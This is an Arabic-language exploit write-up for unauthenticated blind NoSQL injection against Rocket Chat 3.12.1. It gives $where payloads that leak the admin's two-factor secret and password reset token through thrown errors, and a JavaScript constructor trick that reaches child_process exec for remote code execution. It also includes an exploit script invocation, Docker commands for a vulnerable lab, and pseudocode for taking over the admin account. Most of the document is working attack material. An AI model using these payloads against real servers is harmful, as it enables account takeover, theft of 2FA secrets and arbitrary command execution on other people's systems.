
حقن NoSQL أعمى بدون مصادقة يؤدي إلى تنفيذ تعليمات برمجية عن بُعد في Rocket Chat 3.12.1
لذا فمن المرجح أن يكون حساب المسؤول محميًا بـ 2fa. حتى إذا غيّرنا كلمة مرور المسؤول من خلال (1)، فسيطلب رمز 2fa عند تسجيل الدخول.
تستقبل نقطة نهاية api الخاصة بـ users.list معامل query المعرض لحقن nosql. كما يمكننا أيضًا استرداد البيانات عن طريق إلقاء خطأ.
نقوم بتشغيل الاستعلام التالي للحصول على سر 2fa الخاص بالمسؤول: {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}
بعد ذلك نقوم فقط بتنفيذ (1) لإعادة تعيين كلمة مرور المسؤول واستخدام سر 2fa لتوليد رمز يمكننا استخدامه لتسجيل الدخول.
محدّث: يمكنك أيضًا استرداد رمز إعادة التعيين بنفس الطريقة التي استرددت بها سر 2fa : {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1
ملاحظة: إذا كنت لا تريد أن يكون المسؤول محميًا بـ 2FA، يمكنك القيام بما يلي.
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)